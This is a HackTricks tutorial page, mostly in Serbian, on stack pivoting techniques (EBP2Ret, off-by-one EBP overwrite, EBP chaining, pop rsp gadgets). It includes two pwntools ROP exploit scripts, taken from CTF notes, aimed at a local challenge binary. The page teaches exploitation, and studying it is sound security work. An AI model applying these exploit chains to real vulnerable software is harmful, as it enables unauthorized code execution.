# Stack Pivoting - EBP2Ret - EBP chaining {{#include ../../../banners/hacktricks-training.md}} ## Osnovne informacije Ova tehnika koristi sposobnost manipulacije **Base Pointer (EBP)** za povezivanje izvršavanja više funkcija kroz pažljivu upotrebu EBP registra i `leave; ret` instrukcijske sekvence. Kao podsetnik, **`leave`** u suštini znači: ``` mov esp, ebp pop ebp ret ``` And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack. ### EBP2Ret Ova tehnika je posebno korisna kada možete **promeniti EBP registar, ali nemate direktan način da promenite EIP registar**. Ona koristi ponašanje funkcija kada završe izvršavanje. Ako, tokom izvršavanja `fvuln`, uspete da injektujete **lažni EBP** u stek koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shellcode-a (plus 4 bajta da se uzme u obzir `pop` operacija), možete indirektno kontrolisati EIP. Kada `fvuln` vrati, ESP se postavlja na ovu kreiranu lokaciju, a naredna `pop` operacija smanjuje ESP za 4, **efektivno ga usmeravajući na adresu koju je napadač sačuvao tamo.**\ Obratite pažnju da **morate znati 2 adrese**: onu na koju će ESP ići, gde ćete morati da upišete adresu na koju pokazuje ESP. #### Exploit Construction Prvo morate znati **adresu na koju možete pisati proizvoljne podatke / adrese**. ESP će pokazivati ovde i **izvršiti prvi `ret`**. Zatim, morate znati adresu koju koristi `ret` koja će **izvršiti proizvoljni kod**. Možete koristiti: - Validnu [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresu. - Adresu **`system()`** praćenu sa **4 junk bajta** i adresom `"/bin/sh"` (x86 bitovi). - Adresu **`jump esp;`** gadgeta ([**ret2esp**](ret2esp-ret2reg.md)) praćenu **shellcode-om** koji treba izvršiti. - Neki [**ROP**](rop-return-oriented-programing.md) lanac. Zapamtite da pre bilo koje od ovih adresa u kontrolisanom delu memorije, mora biti **`4` bajta** zbog **`pop`** dela `leave` instrukcije. Bilo bi moguće zloupotrebiti ovih 4B da postavite **drugi lažni EBP** i nastavite sa kontrolisanjem izvršavanja. #### Off-By-One Exploit Postoji specifična varijanta ove tehnike poznata kao "Off-By-One Exploit". Koristi se kada možete **samo modifikovati najmanje značajan bajt EBP-a**. U takvom slučaju, memorijska lokacija koja čuva adresu na koju treba skočiti sa **`ret`** mora deliti prva tri bajta sa EBP-om, omogućavajući sličnu manipulaciju sa strožim uslovima. ### **EBP Chaining** Stoga, postavljanjem kontrolisane adrese u `EBP` unos steka i adrese za `leave; ret` u `EIP`, moguće je **premestiti `ESP` na kontrolisanu `EBP` adresu iz steka**. Sada je **`ESP`** kontrolisan i pokazuje na željenu adresu, a sledeća instrukcija za izvršavanje je `RET`. Da biste to zloupotrebili, moguće je postaviti u kontrolisano ESP mesto ovo: - **`&(next fake EBP)`** -> Učitaj novi EBP zbog `pop ebp` iz `leave` instrukcije - **`system()`** -> Pozvan od strane `ret` - **`&(leave;ret)`** -> Pozvan nakon što sistem završi, premestiće ESP na lažni EBP i ponovo početi - **`&("/bin/sh")`**-> Parametar za `system` U suštini, na ovaj način je moguće povezati nekoliko lažnih EBP-ova da kontrolišu tok programa. Ovo je kao [ret2lib](ret2lib/index.html), ali složenije bez očigledne koristi, ali bi moglo biti zanimljivo u nekim ivicama. Štaviše, ovde imate [**primer izazova**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) koji koristi ovu tehniku sa **stack leak** da pozove pobedničku funkciju. Ovo je konačni payload sa stranice: ```python from pwn import * elf = context.binary = ELF('./vuln') p = process() p.recvuntil('to: ') buffer = int(p.recvline(), 16) log.success(f'Buffer: {hex(buffer)}') LEAVE_RET = 0x40117c POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 payload = flat( 0x0, # rbp (could be the address of anoter fake RBP) POP_RDI, 0xdeadbeef, POP_RSI_R15, 0xdeadc0de, 0x0, elf.sym['winner'] ) payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) payload += flat( buffer, # Load leak address in RBP LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it ) pause() p.sendline(payload) print(p.recvline()) ``` ## EBP je beskoristan Kao što je [**objašnjeno u ovom postu**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), ako je binarni fajl kompajliran sa nekim optimizacijama, **EBP nikada ne kontroliše ESP**, stoga, bilo koja eksploatacija koja funkcioniše kontrolisanjem EBP će u suštini propasti jer nema stvarni efekat.\ To je zato što se **prolog i epilog menjaju** ako je binarni fajl optimizovan. - **Nije optimizovan:** ```bash push %ebp # save ebp mov %esp,%ebp # set new ebp sub $0x100,%esp # increase stack size . . . leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) ret # return ``` - **Optimizovano:** ```bash push %ebx # save ebx sub $0x100,%esp # increase stack size . . . add $0x10c,%esp # reduce stack size pop %ebx # restore ebx ret # return ``` ## Druge metode za kontrolu RSP ### **`pop rsp`** gadget [**Na ovoj stranici**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) možete pronaći primer korišćenja ove tehnike. Za ovaj izazov bilo je potrebno pozvati funkciju sa 2 specifična argumenta, a postojala je **`pop rsp` gadget** i postoji **leak sa steka**: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments from pwn import * elf = context.binary = ELF('./vuln') p = process() p.recvuntil('to: ') buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user log.success(f'Buffer: {hex(buffer)}') POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 # pop RSI and R15 # The payload starts payload = flat( 0, # r13 0, # r14 0, # r15 POP_RDI, 0xdeadbeef, POP_RSI_R15, 0xdeadc0de, 0x0, # r15 elf.sym['winner'] ) payload = payload.ljust(104, b'A') # pad to 104 # Start popping RSP, this moves the stack to the leaked address and # continues the ROP chain in the prepared payload payload += flat( POP_CHAIN, buffer # rsp ) pause() p.sendline(payload) print(p.recvline()) ``` ### xchg \, rsp gadget ``` pop <=== return pointer xchg , rsp ``` ## Reference - [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) - [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) {{#include ../../../banners/hacktricks-training.md}}